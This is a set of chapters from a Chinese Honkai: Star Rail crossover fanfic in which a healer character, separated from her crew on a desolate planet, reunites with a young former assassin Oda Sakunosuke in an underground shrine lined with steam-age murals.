星则是被钩住了命运的衣领,只好站在原地举着棒球棍比比划划,嘴角扬起了自信的笑,对着江沅清做口型:老婆你放心,不管什么危险我一棒子给它干碎。 这话听起来挺离谱的,但如果是从星的嘴里说出来……倒也正常? “……” 不想打扰丹恒做事的江沅清礼貌微笑着,也用口型回应她:说好话也不许翻垃圾桶。 星再次萎了。 蓦然睁开眼的丹恒指向了后方:“那边有动静。” 三月七一个激灵:“哇你吓死我了!” 星发挥了人类的本质:“哇你吓死我了!” 只想跟着凑队形的江沅清棒读:“哇你吓死我了!” 三月七不满道:“复读机啊你们两个!” 身为复读机,这话怎么可能不复读。 “复读机啊你们两个!” “复读机啊你们两个!” “喂喂喂!” “……嗯,”习以为常的丹恒默然片刻,瞥了江沅清一眼,见她理直气壮的模样又是一阵沉默,最后憋出来一句,“抱歉。” 跟着闹腾的江沅清心虚面不虚。 三月七不想跟那俩复读机精计较,拍拍他的肩:“没事,本姑娘大人有大量,原谅你了。” 星叉腰笑:“原谅你了!” 江沅清点头道:“原谅你了!” 三月七凑过来一手拽一个:“……我说你们还要复读多久!” 不想被波及的丹恒转身就走:“走吧。” 觉得不妙的三月七低声道:“他是不是嫌弃咱几个?” 星指指点点:“我看出来了,他肯定是嫌三月七吵!” 三月七微微瞪大了眼睛:“怎么会!咱这个美少女也会被人嫌弃吗?” 看热闹不嫌事大的江沅清才不压低声音:“自信点,丹恒这么优秀,应该开始考虑跳槽出来单干了,你看他走得多快啊!” 听到这话,前方本就走得不快的某个人脚步放得更慢了。 这盛世如她所愿! 真是好别扭啊丹恒老师,一点也不坦诚呢! “别试探了姐,苦茶子都给人家骗光了!” 看戏看够了,江沅清终于认真起来了:“好了,快追上去吧,万一前面有什么危险就不好了!” 主要也是怕她再跟着闹下去,丹恒老师一个人驾驭不住发疯的三只。 丹恒快了大家两步,在看见那坨蠕动的人形生物时呼吸凝滞了瞬间,下意识抬手将众人护在身后,右手虚虚一握,将他的长/枪祭了出来。 “小心!” 这声高呵一落地,星便举起了棒球棍,而三月七的长弓也在她的手中显形,只待一点风吹草动便要张弓拉箭。 江沅清跟着发动技能。 〈江沅清〉的生物学鉴定结果为:D100=70/80,成功! ……等等,这玩意儿怎么是坨人? “等下!” 她在众人集火之前连忙出声制止了他们,再次仔细盯着这坨裹满潮湿的泥巴、干裂的泥巴、全是枯草碎屑的泥巴,在这底下艰难分辨出了一个人的形状。 虽然很相信自己能力不会出错,但眼前这充满大自然气息的不明泥巴让她的语气迟疑了很多:“这可能是一个人。” 三月七转头道:“可能是一个人这是怎么个说法啊!” 星开始拱火:“不管是不是,给他来一闷棍试试看不就好了嘛!” 不明生物激烈蹦哒了一下,像是落入案板的鱼。 丹恒将大家按后两步,警惕地将枪尖对准了这坨不明生物,但也听进了江沅清的话,没有冒然出手。 “什么人!” 不明生物似乎听懂了他们的话,用力扒拉开脸上糊着的泥巴,露出了清秀的一张脸。 江沅清的视线上下扫过这人,推断他是个约莫十二三岁的小男孩儿。 睁着一双深灰色眼睛的小男孩颇为紧张地看着他们,问了出声:“你们想干什么!” 虽然有联觉信标的存在,但是由于这颗星球的特殊性,众人在行囊里添加了古早的翻译器。 特殊的语言通过空气进入耳边的翻译器中,切换成他们熟悉的语言,三月七震惊道:“竟然还能和咱几个说话!” 看来翻译器没有带错。 星伸手在她的万能背包里摸索了一会儿,抓出了四副传声翻译器挨个分发出去。 江沅清则是趁着这个空隙取下耳麦,瞥了一眼语言。 “他用的是卡麦尔则语,调……” 等等,什么语言? 江沅清微微 8. 关于星是玩家的论证 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 也许真不应该因为三月七写满期待的脸就随便放她出马,任由她开着飞船创向这颗小小的星球。 她挑选的降落之地、这块绿化堪忧的区域环境实在恶劣,即使是有丰富野外求生经验的景元将军也难以在短期内找到什么入嘴的东西,夸张一点的说法就是张嘴闭嘴都是在挑衅漫天飞舞的尘土。 所以在这里展开搜索实在不是一个明智之举。 在此之上,他们那不怎么抽疯的、看上去非常正常、很有智慧的队医江沅清甚至跟失了智一样又补充了一句:“对了,为了更快一点,大家分开来找吧。” 三月七懵懵道:“啊?我没听错吧?” 这不是在给未知的危险送自助餐吃吗? 举双手支持的星欢呼道:“好耶!” 哦,说早了……这个不能放出去。 “禁止好耶,”就是打算把自己送上门的江沅清给上一句话打补丁:“你们分不分开都可以,但是星不行,让她在丹恒和我里面选一个跟着走。” 其实跟着丹恒最好了!在这个到处都是风化沙土的地方……她真的很担心一眨眼孩子就丢了,再找回来她已经钻地底十八米举起铲子挖了个地下城堡! 没办法,她曾经也是玩家,自然知道玩家闲出屁的时候什么事情都能干得出来。 至于她怎么确认星的性格偏向“玩家”群体的…… 这还得从见面没多久后说起。 当时她通过砂金的牵线,买下了一座星琼矿脉,卖家显然觉得花钱肯买这玩意儿的绝世大冤种真不好找,当即感恩戴德地瞻仰了半天这个脑子有病……不是,高瞻远瞩的富婆。 挖了一背包星琼的江沅清拉住了刚传回来的星,严肃地问了她一个试探性的问题:“你知道天王盖地虎的下一句吗?” 星大为震惊,星倒抽凉气,星自信一笑。 短短几秒看见她的脸上闪过了无数次震惊的江沅清得到了一句抽疯的回答:“你是二百五。” “……我再给你一次机会,”早就做好准备的江沅清冷声一笑,将背包甩下来,露出了里面亮瞎人眼的星琼,“我只想听到正确答案,注意,是原句的下一句。” 满眼都被星琼灌满的星大声道:“宝塔镇河妖!老婆!宝塔镇河妖!你听到了吗星琼啊不是我是说我亲爱的老婆!” ……啊,我就说能做出这么抽象行为的果然是玩家吧! 江沅清收回思绪,又看了一眼她。 高举的双臂耷拉下来,星的脸上写满了高兴。 ……虽然孩子还是很可怜,但是坚决不能放出猫笼。 害怕她搞事的确是一个因素,可她替她收拾了这么久的烂摊子,她的心早已和星宝贵的黄金垃圾桶一个温度了,再多收拾两个也是无所谓的……大概。 江沅清最担忧的是她那个莫名其妙就牵扯进一个星球相关大事的主角光环。 她走丢了江沅清其实不担心……好吧,还是有点担心的,不过是担心对她酝酿阴谋的那些人。 星宝是谁啊!是星核啊!她自己就是一个行走的炸弹啊! 本来好好的大家都在桌子上吃饭,星来了之后那群人以礼相待还好,要是有不长眼的非得凑过来扇她一耳光,这不就直接炸了桌子谁也别吃饭了嘛! 但他们的本意是来探索星球的,不是毁灭星球的啊! 所以说还是把人看紧点吧,别让她跑了,这样就算事来找人,也有个照应。 丹恒垂眸似在思考,顿了两三秒后点头应道:“好。” 四人彼此对视几眼,属于小队的脑电波对接成功。 懂了江沅清想做什么的三月七摊手道:“好吧好吧,咱算是没有办法了,既然这样,都小心点啊。” “嗯,你们都小心,”江沅清取出随身携带的寻路四面骰,挨个发了一遍,她抬头看向了星:“你跟谁走?” “等下!不对!我才发现!为什么不是三选一,”觉得不对劲的三月七抬手打断道,“跟我走也是可以的吧?” 江沅清和丹恒对视一眼,继续道:“如果星要跟着你走的话,记得看好她,你知道底线是什么 9. 祸福相依 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 几人按照计划分散开来,江沅清走了几步,回头看着那两人的身影渐渐被风沙吞没。 她轻轻笑了一声,转头道:“走吧。” 完全没意见的星点头道:“好的我的神,你是电你是光你是唯一的神话!” “……” 救命,到底谁可以把这只不太正常彩虹屁发射器拎走! 被一千六星琼蒙蔽了双眼的星还在输出。 “我的义母是一位魁梧女子,她身形高大强壮……身躯壮硕得好像一堵墙,肩膀……” 终结这段话的不是江沅清抠穿地心的脚趾,而是突然消失的人。 那个人还不是江沅清担心的星——是她自己。 ……所以说为什么是她不是星啊喂!她都准备丢骰子保人了啊! 真没抓错人吗!除了有些神秘莫测的能力,她的身上还有什么值得注意的地方吗?! 还有为什么是从地底下抓她的!难道是她脚趾头扣地的动作太用力所以戳到谁的敏感肌了吗! 当她的双脚被地底一双无形的手强行扯住的时候,江沅清就觉得不妙。她下意识拍开了星的手,在她那张惊得近乎空白的脸上看见了被金色的眼睛装着的自己。 那个小小的她没有任何表情。 “江沅清!!!” 在视线彻底被黑暗侵蚀之前,她听见了星快到已经变了调的喊声。 这声音惊恐且愤怒,压抑着暴风雨来临前的沉闷,是星从未向他们展露的一面。 等下,别这样,她可以解释的!听她狡辩啊!给她一个机会吧阿瑟!!!她发誓她真的只是身体动作大过意识! 但她什么话都没来得及说,只有像吸饱了水的海绵似的四肢在沉重的束缚下越发无力,最后将她彻底扯去了黑暗的尽头。 满脸风雨欲来的星深吸一口气,没忍住小嘴一张,鸟语花香。 用一些温柔问候狗策划全家的发言平定了自己空荡荡的内心,星扑去江沅清消失的地方,疯狂扒拉起来那边的沙土,被飞扬的尘灰扑了一脸。 然而除了几条张牙舞爪的黑色硬壳长虫对她示威性地举起了钳子,她什么也没有看见。 那么大个的老婆、那么大个的一千六百星琼当着她的面被不知道什么玩意儿偷走了! 即使知道江沅清让大家分散开来就是为了引出藏在暗处的某些人,星也不可避免地咬牙切齿了起来。 尤其是当她被江沅清拍开手的那时候,那目瞪口呆、无言以对、大惊失色等诸多难以言喻的滋味交杂在一起,更是让她只想张嘴问候全世界。 事实上她也确实礼貌问候过了。 星想不明白,这个女人她三十七度的手怎么能做出如此冰冷的动作! 这是一种下意识的袒护,也是一种根本上的不信任。 三月七说得对,她就是个坏女人,你看她长着温温和和的一张脸,却总是干这种绝情事情。 不过现在也不是计较这个的时候,当务之急是将消息传过去。 星掸干净手上的灰,摸出手机光速敲了几个字发送过去,却被一个硕大的感叹号警告了。 ……没有信号,没办法联系上。 好像自从进了这个地方,怪事就频频发生。 手机和联络器都没法用,难怪江沅清先发了定位骰子给他们,原来是早有预谋。 星取出装在兜里的银灰色四面骰,眉毛撇成倒八,一语双关道:“要不投了吧。” ……算了,为了她的一千六百星琼! 这样想着,心情好转了不少的星将手中的骰子向上一抛又精准接住,她缓缓打开掌心,看见了一个数字“3”。 “东南西北……等一下,我记得上北下南左西右东好像是,”完全是路痴一个的星发出了迟疑的声音,“数字3对应的是西,所以我该往左边走。” “……应该是吧?” 星可耻地沉默了。 ……算了,还是打开万能小地图吧。 意识逐渐回笼,但上下眼皮却爱得难舍难分,任由江沅清费尽力气也无法睁开。 这种症状和鬼压床有点像,但比较难捱的是她可以清晰感受到自己的生命力在一点点的流逝。这让她的手脚止不住地发凉,形成一个根本无法挣脱的恶性循环。 江沅清在心底叹了口气,动用了能力。 〈江沅清〉的力量鉴定结果为: p=82/60, ([D100=82, 惩罚 4]) ,失败! ……毕竟有虚弱的debuff,这样的结果倒也正常,她只要平静心情就好……个屁啊。 虽然不出意外,但是她还是要提上一嘴:命运,又是你小子在玩弄我!我再恨! 江沅清在意识里安详地双手合十,表演了一个在哪里跌倒就在哪里睡一会儿。 几句听不懂的话隔着一层布朦朦胧胧地响了起来,听起来距离她并不是很近,但由于她好像在什么东西里面,所以无法听清。 等下? ……她不会被拖入泥巴精的大本营了吧?是她哪里冒犯到他们了吗?是银河铁饼侠的问题还是需要帮助的问题?总不能是她长得有问题吧? 江沅清百思不得其解,又试着睁了睁眼,然而依旧无法棒打鸳鸯。 道士的封印贴都没它俩 10. 意想不到的重逢 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 “江沅清,你闭眼是因为困吗?” 不是啊,是我怀疑我在做梦啊! 她前脚刚把处在匹诺康尼的织田作之助送走,后脚就被不知道什么玩意儿拖进了木乃伊里,再一睁眼,被她送走的那个人竟然在给她拆绷带。 啊? 虽然崩坏星O铁道这个世界本身就是让人捉摸不透的玄幻,但是这件事情的走向完全不对吧! 她想静静了,不要问静静是谁,静静可以是任何人。 江沅清缓缓睁开眼看他,张了张嘴,似乎很想说些什么。 她最后还是闭嘴了。 织田作之助本就半跪在她身侧,注意到她这欲言又止的动作之后,他弯腰侧耳,很认真地听着。 ……这种庄重肃穆,看上去是在聆听死者最后发言的举止是想干什么啊! 这样的姿态让嘴里本来没话的江沅清也不得不憋出来点什么了:“我不困。” ……等下,这是说困不困的时候吗? 这跟狗血电视剧的男女主在生死决战关头抱在一起啃得难舍难分一样莫名其妙啊! 江沅清艰难找补道“只是看到你在这里觉得很意外。” 织田作之助发出了一声意义不明的迟疑:“啊……” 他又喊了一声:“江沅清。” 江沅清爬起来打量了一下四周,听到他的声音后偏头看他。 姿势改为坐在地上的红发少年头顶的呆毛晃了一晃。 他说道:“你来找我了。” 一心盯着他头顶呆毛的江沅清“嗯”了一声,眼角的余光将少年倏忽间勾起的唇角装入了脑子里。 等漫长的反射弧逛完了一圈超市悠哉悠哉归位,江沅清才猛地回过神来,将视线下移。 少年早已恢复了漠然的表情。 被她盯着看的织田作之助眨了眨眼:“我的脸上沾到什么东西了吗?” 江沅清摇摇头。 “你刚才是不是笑了?” 织田作之助似乎有些呆滞,他抬手想碰一碰唇角,却在半路停住了。 “是的,因为我见到你很高兴,”他的手半路改道,轻轻搭上了自己的胸膛,细细感受了一番之后诚实道,“它告诉我的。” …… 但凡换成一个叼着玫瑰的油腻花花公子这样做,江沅清都能笑着给他送上礼貌的中指,表示比起爱心我更想你在这里套上戒指。 不就是骚/话吗她怎么讲不出来了。 可眼前这个神色略有茫然的少年只是在向她讲述着一个事实,一个让他觉得陌生的事实。 就好像“高兴”这种正面情绪不该存在于他的世界一般。 资深的挂名心理学大师江沅清叹了口气。 ……看起来这孩子有点缺爱啊。 不过没关系,她和列车的各位恰好都有很多很多的爱。 “是么,小织同学,”江沅清轻声一笑,“那以后还会有更多高兴的时候。” “不过比起未来,我觉得需要好好考虑一下现在,”她指了指边上另一个木乃伊,感觉自己脑细胞开始沸腾,“你来得应该比我早,知道这是什么地方吗?” 刚才环顾的那一圈让她看清了这里的全貌,这是一个类似祭台的地方,除了正中心一盆正在熊熊燃烧的篝火为他们提供足够的光亮,还有四周的土墙上固定着的诸多蜡烛。 蜡烛的光不是很亮,但过了一个被动侦查的江沅清注意到这些蜡烛的造型十分奇特,并且燃烧的时候没有冒出一点烟雾。 看着就很诡异啊,摆出来的架势像是供奉祭品唤醒邪神一样! 一个毫无价值的星球上竟然有这样的东西,她真的要开始怀疑博识学会和公司的专业性了! 呈六芒星样的祭台拐角各自都有一个凹槽,除了她的身下的专属宝座,另外五个凹槽竟然还有一个是满的。 不知道哪位倒霉仁兄也被裹成茧子躺在了她的对面。 织田作之助摇头道:“不知道,我不是在这里醒来的。” “嘶,”江沅清活动了一下筋骨,小心翼翼的朝着另一个木乃伊在的地方走了两步,“让我看看是谁。” 拆惊喜盲盒的时候到了!买定离手!看看这个倒霉鬼是谁! 在这个冰冷的世界,只有一同被裹成茧子的倒霉蛋才能给她提供一丝温暖! 织田作之助阻止了她:“不要去,里面装着很危险的男人。” “这不是还没拆吗,”看了眼只有一个人形轮廓的茧子,江沅清猛地一回头:“你这是怎么看到的?” 在她探究的视线下,不擅长撒谎的少年竟然直接将头转过去了:“用眼睛看见的。” “……啊,这样啊,”觉得他这抗拒姿态是想隐瞒什么东西的江沅清没有追究,给这位不太熟的同伴留下了一点个人空间,“那你能形容一下那个很危险的男人长什么样吗?” “头发很长,手上缠着绷带,眼睛有一点红色,”好像偷偷松了口气的织田作之助头顶的呆毛又是一晃, “还说了一句话。” 感觉这形容好像很熟悉的江沅清捧场发问:“什么话?” “人有五名。” “哦……原来是,”陷入沉思的江沅清双眼一瞪,“嗯?!” ……起猛了,好像听见了什么不得了的话。 是不是听到了谁一直挂在嘴边的话?不不不一定是她耳朵出问题了吧! “那个,”尚且抱有一丝期待的江沅清迟疑地问道,“能再重复一遍吗?” 织田作之助回道:“我只听到了人有五名,代价有。” 啊啊啊啊啊啊啊等下!她的耳朵一定是在和大家一起打幻胧的时候被一巴掌拍失聪了! 这 11. 不详的预感 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 织田作之助口中的风衣装扮距离现在的江沅清太过遥远,以至于她在原地愣了一会儿才在早已经落灰的记忆里扒拉出来那么模糊的一小段。 但也只是一小段,还得亏他提了一嘴那有辨识度的单片眼镜。 不过她依稀记得这只是高中那会儿她拿来满足中二幻想的道具,本质上就是一块普普通通的树脂造物,和她现在手里的这块有着天壤之别。 事情发展到这份上,诡异这个词都不能很好的形容了……但一想到这里是神奇的崩O星O铁道的世界,江沅清忽然就没有多少意外之情了。 光看她身边的那些同伴:一个能徒手搓黑洞的、一条小青龙、一颗星核还有一个和开拓星神并肩过的吉祥物。 咱们列车人才济济! 所以这情况也不过是一个兵来将挡,水来土掩罢了。 她在这边下定决心的时候,一直默默注视着她的织田作之助发声了:“江沅清,你的脸色很差,是想到什么不好的事情吗?” “嗯?我没有……” 江沅清下意识看向织田作之助,视线撞入他那双毫无波澜的眼睛里,声音也跟着哑了。 她沉默着,在地上坐着的红发少年也没有出声,两个人的呼吸声在这片小小的空间里交织着,江沅清忽然就听到了自己不安的心跳声。 她迟疑道:“……我的脸色很差吗?” “嗯,很多被我杀死的人在死之前都会露出这样的表情,只不过你的表情很内敛,”织田作之助起身,高高举起手伸出食指在她的眼睛周围虚虚划了一圈,“它在你的眼睛里。” 这个对情绪的变动十分敏感的少年一点也没有尊重大人的想法,非常没眼色的将她的不安点了出来。 ……孩子你要是在职场绝对是会被霸凌的存在!而且就算被霸凌了也不知道对方在霸凌你的那种! 真的是一点眼力见也没有啊!难道你们杀手从来不看甲方脸色……等等,好像真的不用? 江沅清哽住了。 她的手搭上他的手腕,织田作之助下意识将手抽开,抽到一半不知道想到了什么东西硬生生转了个方向,自投罗网似的把自己的手腕塞到了江沅清的掌心。 ……这样的举动,是讨厌和别人进行肢体接触吗?但他为什么又突然改变了注意? 在她的注视下,织田作之助歪了歪头,好像在表达自己的疑惑。 ……你怎么还疑惑上了,该懵逼的是我才对吧! 江沅清移开视线,放开掌心下那条脉搏跳动得格外有力的手臂,叹了口气:“我不清楚,但我有一种不祥的预感。” ……可这也太奇怪了,她不是那种胆小的人,骨子里也刻了几分冒险的精神在里面。 即使做不到像星那样越是危险的地方她越能兴奋撒欢,也绝不会像现在这样畏手畏脚。 真是越想越奇怪。 织田作之助看着她,迟疑了一会儿,主动将手张开,递到她的面前:“江沅清,我会保护你的。” 十四五岁的少年还没来得及发育,身高远远赶不上他的气场,个子不矮的江沅清甚至要低头才能看清他的眼睛。 但那过于认真的神色让江沅清讲不出一点缓和气氛的玩笑话。 会打击到他的吧! 她扬唇一笑,鼻腔呼出一声无奈的气,握着他的手摇了一摇又放了下去:“好啊,那我先谢谢你了。” “江沅清。” 织田作之助又在喊她。 等一下,为什么总感觉他喊她的名字特别熟练? “怎么了?” 织田作之助低头盯着被她松开的手,声音淡然:“你不相信我的话。” 哎?清汤大老爷!她冤枉!她虽然有一点敷衍的意思但是没有不相信他的话啊! 他之前是个莫得感情的鲨手这没错,但是他也是个小孩子啊。 小孩儿的肩膀稚不稚嫩另说,她这个大人不能在小孩面前遮风挡雨,那这么多年的米是白吃了吗? 不过这些话好像不适合在这个有点早熟的孩子面前说,会被当成看不起他的吧? 就在江沅清有些苦恼地编理由之际,织田作之助又开口了:“没关系,我会让你相信我。” 这算是自己哄好自己了吗? ……是吧? 没话应对的江沅清选择转移话题,顺便点个题:“亲爱的小织同学,我好歹也是大了你几岁的前辈,用全名称呼我好像不是很礼貌。” 立刻被带歪话题的织田作之助头顶的呆毛抖了抖:“那江沅清希望我怎么称呼?” 哎? 没想到能轻易转走话题的江沅清呆住 12. 画中故我 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 在织田作之助指着的土墙上摸来摸去的江沅清碰到了一处凹槽,她没有冒然按下,而是缩回手打量了一下。 那处并不明显的凹槽像是一个被拍进去的窝窝头,因为经年累月的无人问津,所以蓄满了灰尘,轻轻一碰就沾了一手。 这就是上天对直觉系选手的厚爱吗? 具体表现为你的情商有那么点问题,但是你敏锐的直觉又很好地弥补了这一块。 他一指一个准的。 酸成柠檬的江沅清:我不羡慕。 她低头碾了碾指头上的灰,轻轻吹了口气:“怎么说,要直接进去吗?” 红发少年定定看了她一眼,向前一步:“江沅清,退后。” 虽然不懂他想干什么,但江沅清还是将右手揣进白大褂的衣兜里,向后退了一步,给织田作之助留下了一点空间。 少年将手搭上她方才发现的凹槽上,目光有些呆滞地沉默了一会儿后开口道:“可以直接进去。” ? 只是发了个呆就好了吗? 听说隔壁文豪O犬的片场是有异能力存在的,难道他的异能是透视?或者说是某种程度上的预知未来?再或者,是感知型的? 先是可以看清茧子里面裹着的刃,现在又直接告诉她暗道里面没有危险,这样的能力不可谓不出众。 收回手的少年偏头看她,因为身高不足,他必须要稍微仰头才能看清她的眼睛:“打开的时候没有危险,但接下来的路我不清楚,江沅清,你可以走在我的后面。” 江沅清又想到了刚刚织田作之助说的那句“我会让你相信我的”。 这孩子还没到个子疯长的年纪,却对承诺如此看重,经由他嘴的话语绝不会让它落地。 ……如果没有什么能力,他只会是一个诚实的人,但他不凡的身手却很容易吸引为此算计他的人。 她还得小心一点才是。 默默收回探究的视线,江沅清把手心握着的骰子丢回了口袋,难得破坏人设开了句玩笑话:“别小看了奶妈啊小织同学,这年头没点绝活可不敢当奶妈哦。” 更何况她还是个冷酷无情的十不治奶妈。 “不是在小看江沅清,”织田作之助缓缓眨了下眼睛,似乎是在思考说辞,“如果你跟在我的后面,我不会让你受伤。” 不觉得眼前这个少年是会讲大话的江沅清看了眼他真挚的神色,对他的异能力有了初步的判断。 她沉重叹了口气,拍拍织田作之助的肩,讲了句和现在的场面毫不相干的话:“小织同学,你之前一定是孤身一人吧?离群索居的那种。” 聊天的时候,话题通常是多变的。 往往从开头的今天中午吃什么聊着聊着就变成了隔壁家的老王偷了老宋的金镯子送给老张的女朋友。 这些都是很正常的情况。 但她三番五次的偏题都没有得到织田作之助的半句吐槽,他一直在有问必答。 “嗯,我没有固定居所,也一直是独自一个人。” 所以说她才会担心啊!才相处多久,他在她眼前已经快把底子透了个干净啊!而她甚至都还没有说什么。 这样的天然属性是怎么当上杀手的她真的很好奇。难道是因为敢背刺他的甲方都被他送去了大地母亲的温暖怀抱里? 江沅清深吸一口气,将它长长叹了出来:“没事,你现在有我了。” 织田作之助轻轻“嗯”了一声。 在她按下凹槽的时候,他又开口了:“江沅清,我不好骗。” 严丝合缝的墙壁颤抖着露出一个足矣容纳一个人进出的窄道,漫天飞舞的灰尘扑过来跟江沅清的鼻腔热情打招呼,逼得她连打了两个喷嚏。 没听清他在说什么的她冒出了一声疑惑的音节:“嗯?” “……” 织田作之助没有说话,默默向前走了一步,转头示意江沅清跟上。 孩子这么积极,江沅清也没跟他争,在空间背包里摸出来一把手电筒握在手里,跟在他的后面道:“你刚刚说什么来着?” 少年顿了顿,重复道:“我有江沅清了。” ……?! 这不是她随口吐出来的叹息吗怎么从他嘴里说出来就这么让人尴尬? 脚趾默默扣地的江沅清补充道:“不止是我,小织同学,还有很多人在期待和你的见面。” “我听江沅清的。” ……这是不是哪里不对? 江沅清没什么意义的“啊”了一声,打开手电筒扫了一圈两边的墙壁,还没想好说什么注意力就立刻被吸引过去了。 两边的土墙并非如她所想那样只是普通的通道,它们用夸张的油墨绘出了一幅幅色彩缤纷的画,一直绵延到她能看见的远方。 不用她提醒,织田作之助自然也是看到了,他默不作声,顺着手电筒的光和她一起看了下去。 这画似乎讲的是一个蒸汽时代的故事。 左边的墙壁上是从一辆纺纱机的问世到一座座工厂的建立,右边的墙壁则是各种交通工具的发展,江沅清越看越心惊。 在听到卡麦尔则这种属于失落的文明的语言之际,江沅清的判断是他们很可能来到了一个淹没在历史长河中的星球。 虽然不懂他们为什么还能幸存,但真相也许就藏在星球里面。 然而眼前这些色彩 13. 蒸汽时代 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 这段通往深处的路幽深而漫长,深邃得就像父亲的眼睛一般,让人只能努力鼓足勇气往前走。 两侧浓墨重彩的壁画也看得人眼花缭乱,江沅清一边用手电筒照着一个时代的璀璨文明,一边走马观花地将它们全部收入眼中。 织田作之助有些闷葫芦的潜质在身上,自从两人聊过复读机的话题之后,他一句话也没有说过,沉默得像是消失了一般。 这里这么黑、这么安静,只有他们两个人轻飘飘的脚步声和呼吸声交织着,就算是哑巴也能被逼出不明情况的“啊”声了吧! 但是你,织田作之助,你真的连呼吸都静不可闻啊! 受不了这种沉闷的氛围,江沅清试图撬开他的嘴:“小织同学,我有些无聊,不如跟我聊聊天吧,比如说,讲讲过去之类的话题?” 求求你了什么都好,随便说一点吧! 一岁能爬、三岁能跑、六岁就是邻里一条街打听打听谁是爹的小霸王什么的,就算是假的她也乐意听,真的! 她超会捧哏! 好在他还是有问必答的。 “不无聊,”少年轻声回应着,“我的过去……” 他停顿了一会儿。 “比现在要无聊。” ……喂喂喂,你要不要听听你在说什么!哪有正常人会这样轻描淡写地否定自己迄今为止的全部人生啊? 织田作之助走在她的前方,脚步依旧很轻,并且和刚才保持着相同的步调,身形也一如既往,没有任何僵直。 江沅清很难判断他是用什么样的心情说出这句话的,只好三步并作两步追上了他,顺势拍拍他的肩。 这一拍又触发到了启动的机关,织田作之助小声说道:“如果江沅清想听,我可以说。” 什么叫做她想听他可以说啊!那她不想听了他就闭嘴吗? 等等……以织田作之助的性格来看,好像他真的会这样做。 这人是一点分享欲都没有的吗?天呐这孩子以前到底过的是什么日子啊? 江沅清把手电筒发光的地方拿手遮住,张开手指撑大指缝,外泄出几缕温和的光。 她看着他的眼睛,问道:“如果我不想听,小织同学,你还会说吗?” 那双在灯光昏暗的环境下也很亮的大眼眨了眨。 “不会。” “为什么?” 织田作之助诚实道:“因为江沅清不想听。” 得,又绕回来了!什么听君一席话如听一席话! 江沅清试图循循善诱:“那如果别人想听,小织同学你会说吗?” 织田作之助摇了摇头:“不会。” ……怎么又是不会? “为什么?” 啊好熟悉的对话啊,刚才是不是发生过一次了?哎?难道她找到时光机穿越回过去了?真的假的? 少年平静的声音让他的这句话染上了不少寒凉:“他们不是江沅清,很麻烦,我不喜欢麻烦。” ……这一副“你去做了他”这样的调调是要闹哪样啊! “小织同学,你要知道,分享欲是一种很高级的情感,它往往是人和人建立桥梁的开始,”江沅清叹了口气,“做人不能没有分享欲。” 织田作之助煞有其事地点了点头:“我明白了,我会和江沅清分享。” 你明白了……个锤子啊!你到底明白了个什么东西啊! 江沅清一个头两个大,恨不得现在就把这个脑回路清奇的问题儿童拖出去,然后送给他一个完整的童年。 但很可惜,这条暗道跟老太太的裹脚布一样又臭又长,根本走不完。 “那先和我分享吧,”暂时纠正不过来的江沅清决定放过这个话题,转而当起了倾听者,“有关小织同学的过去,我很感兴趣。” 事实证明,就算织田作之助的过去再多惊险刺激,也都被他白开水般的讲述冲淡得一干二净。 听听,听听!接到杀死一个惹了无数风流情债的财阀大少的单子,大少毫不设防竟然是心甘情愿赴死,临死的时候还捏着手中的怀表,怀表上面的照片正是他和单主的合影。 这样狗血曲折、被她拉出来能说得眉飞色舞的八卦,在织田作之助的口中就是“我按照一位女士的要求去杀死一位有地位的男士,并且拿回了他的怀表,在检查怀表的时候发现照片是他们两个人的合照”。 没了!这就没了! 织田作之助你骗我,你根本就不想写小说!这样是写不好小说的! 但她从他平淡的讲述中窥见了许多的波澜壮阔。 那是她从未接触过的黑暗。 “小织同学,我很高兴你没有再继续当杀手,”江沅清笑了一声,从空间背包里摸出来一包糖果晃了晃,示意织田作之助伸手,“也很高兴你愿意成为我的同伴,和我一起去寻找未来的路。” 织田作之助顺从地伸出了手,眨了眨眼的功夫就看见了静静躺在掌心的一颗糖果。 “这是给好孩子的奖励。” 剥开色彩缤纷的玻璃糖衣,织田作之助将糖丢入嘴里,舌尖立刻向他传达了前所未有的甜蜜体验。 有些甜过头了。 是因为我不是好孩子。 14. 在未来 《在崩铁里捡到少年织田作是否搞错了什么》全本免费阅读 送走大少爷的传话筒,江沅清单手挽着成捧的金蝶花,打开信箱抽出烫金的邀请函走回屋子里。 她暂居的地方是花了二十五个爱德金币租下来的独栋小别墅,相当于一百捧她手中的金蝶花。 ……真的超级贵啊!这花瓣是金子做的还是底下的绿叶是金子做的? 要知道这里的金银铜币的兑换比率高达1:100,而两枚银币就足够普通的家庭生活一个月了。 她手里捧着的不是花,是数十个家庭的生活费,是可以救活上百人的口粮。 即使金蝶花是神话中被女神吻过的花,花语为璀璨的黄金,深受爱德联合国的贵族们追捧,价格贵到这种程度也有些抽象了吧! 所以江沅清也习惯称呼它为“一堆钱”。 这么贵,那位开屏的自由大少爷还是能随便用自己的零花钱三天两头的送。 不过能迅速获得上层社会的敲门砖,有自由大少爷的鼎力相助是不够的,黑塔女士送给她的小玩意儿“伪装身份证”也帮了大忙。 现在江沅清的身份是一个国外学者、是一位精通人性的心理医生,如果她想的话,可以三句话让男人为她花十八万。 虽然和这群眼比天高的贵族们虚与委蛇很要命,但是如果可以借到他们的力量,寻找织田作之助应该会轻松不少。 她真的很害怕这倒霉孩子跟她分开几天,裤衩子已经被骗光了,完了之后还傻不愣登地跟在人家后面帮人家数钱。 ……是她刻板印象入脑了,可这完全是织田作之助能干出来的事情吧!!! 能读懂这个时代的文字和这里的人进行交流,江沅清全靠星友情赞助的神奇翻译器,但是织田作之助他没有啊! 啊啊啊啊小织同学你到底在哪里啊! 信件似乎是洒了什么高级香料,一抽出来便有淡淡的香气钻入鼻腔。 江沅清粗略扫了一眼,确认宴会的时间在今晚八点,内容是安米娜.弗力小姐的十四岁生日,之后她将正式进入社交界。 这群贵族拖延成性,能赶上这个时机属实来之不易。 将手里这捧高贵的一堆钱找个玻璃瓶灌了点水娇养着,江沅清简单收拾了一下自己,戴上礼帽便出门为那位安米娜小姐购买合适的礼物。 送礼是一门很考究的学问,尤其是在礼物代表态度的爱德联合国,江沅清准备打入上层,那么礼物必须要拿捏在一个度内。 按理来说她需要雇佣一位管家替她参考这些,但她不打算久留,所以思考了一会儿还是放弃了这个念头。 